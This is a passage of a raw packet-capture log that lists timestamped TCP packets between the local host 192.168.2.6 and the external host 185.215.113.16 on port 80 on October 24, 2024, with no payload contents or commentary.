Oct 24, 2024 09:07:31.940809011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940815926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940853119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940881014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940896988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940932035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940963984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940979004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940995932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941010952 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.941047907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941065073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941080093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.941090107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941102028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941117048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941145897 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.941147089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.941178083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941193104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941210032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941229105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941235065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.941250086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941263914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.941279888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.941302061 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.982460022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.982477903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.982494116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.982515097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012418985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012444973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012473106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012495995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012531042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012537956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012552977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012583971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012592077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012607098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012623072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012639046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012649059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012664080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012679100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012697935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012703896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012716055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012727022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012749910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012765884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012777090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012790918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012813091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012824059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012839079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012854099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012868881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012885094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012896061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012913942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012923956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.012934923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012948990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012965918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012985945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.012991905 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013005972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013022900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013052940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013067007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013079882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013088942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013102055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013119936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013144970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013164997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013180017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013190031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013204098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013228893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013236046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013250113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013257980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013299942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013330936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013339996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013355017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013376951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013384104 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013397932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013411045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013422012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013448000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013457060 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013470888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013485909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013504028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013509989 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013524055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013540030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013560057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013575077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013593912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013601065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013623953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013642073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013649940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013665915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013684988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013691902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013717890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013725996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013748884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013765097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013777971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013787985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013801098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013818026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013825893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013838053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013851881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013873100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013876915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013892889 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013905048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013921976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013941050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013947010 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013961077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.013972044 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.013993025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014009953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014024973 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014034033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014050007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014070034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014111042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014126062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014133930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014143944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014157057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014169931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014183044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014204979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014224052 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014230967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014242887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014260054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014312983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014332056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014345884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014357090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014373064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014388084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014400005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014415026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014431953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014439106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014453888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014471054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014503002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014518023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014537096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014549017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014561892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014575958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014585018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014600039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014611959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014626026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014641047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014658928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014664888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014688969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014700890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014713049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014727116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014741898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014750957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014779091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014786005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014799118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014812946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014827013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014837980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014851093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014863968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014878035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.014909983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.014919043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015039921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015055895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015069962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015079021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.015091896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015104055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.015116930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015131950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015151024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015157938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.015176058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015187979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.015201092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015213013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015225887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015235901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.015256882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.015269041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015284061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015300035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015331984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.015340090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015356064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015374899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015381098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.015396118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.015410900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.018937111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.027720928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.027736902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.027751923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.027766943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.027791023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057287931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057305098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057321072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057360888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057383060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057399988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057415962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057425022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057440996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057457924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057492971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057508945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057528019 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057558060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057600975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057629108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057665110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057681084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057696104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057706118 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057730913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057739973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057760000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057775021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057791948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057800055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057812929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057830095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057837963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057852983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057869911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057913065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057929039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.057948112 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.057976007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058008909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.058058023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058073044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058088064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058106899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.058120012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058135986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058152914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.058161020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058183908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058202028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058207989 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.058233976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058248997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058257103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.058273077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058290958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.058298111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.058330059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.099368095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.099421978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.099436998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.099452019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.099464893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.099495888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129287958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129304886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129329920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129345894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129359961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129379034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129389048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129405022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129420042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129437923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129481077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129496098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129512072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129523039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129538059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129549026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129569054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129584074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129606962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129650116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129663944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129684925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129697084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129710913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129731894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129744053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129760027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129780054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129787922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129802942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129813910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129837036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129849911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129863977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129873037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129899979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129906893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129919052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129933119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129951000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129956961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.129972935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.129981995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130053043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130067110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130080938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130099058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130105972 CEST	49772	80	192.168.2.6	185.215.113.16
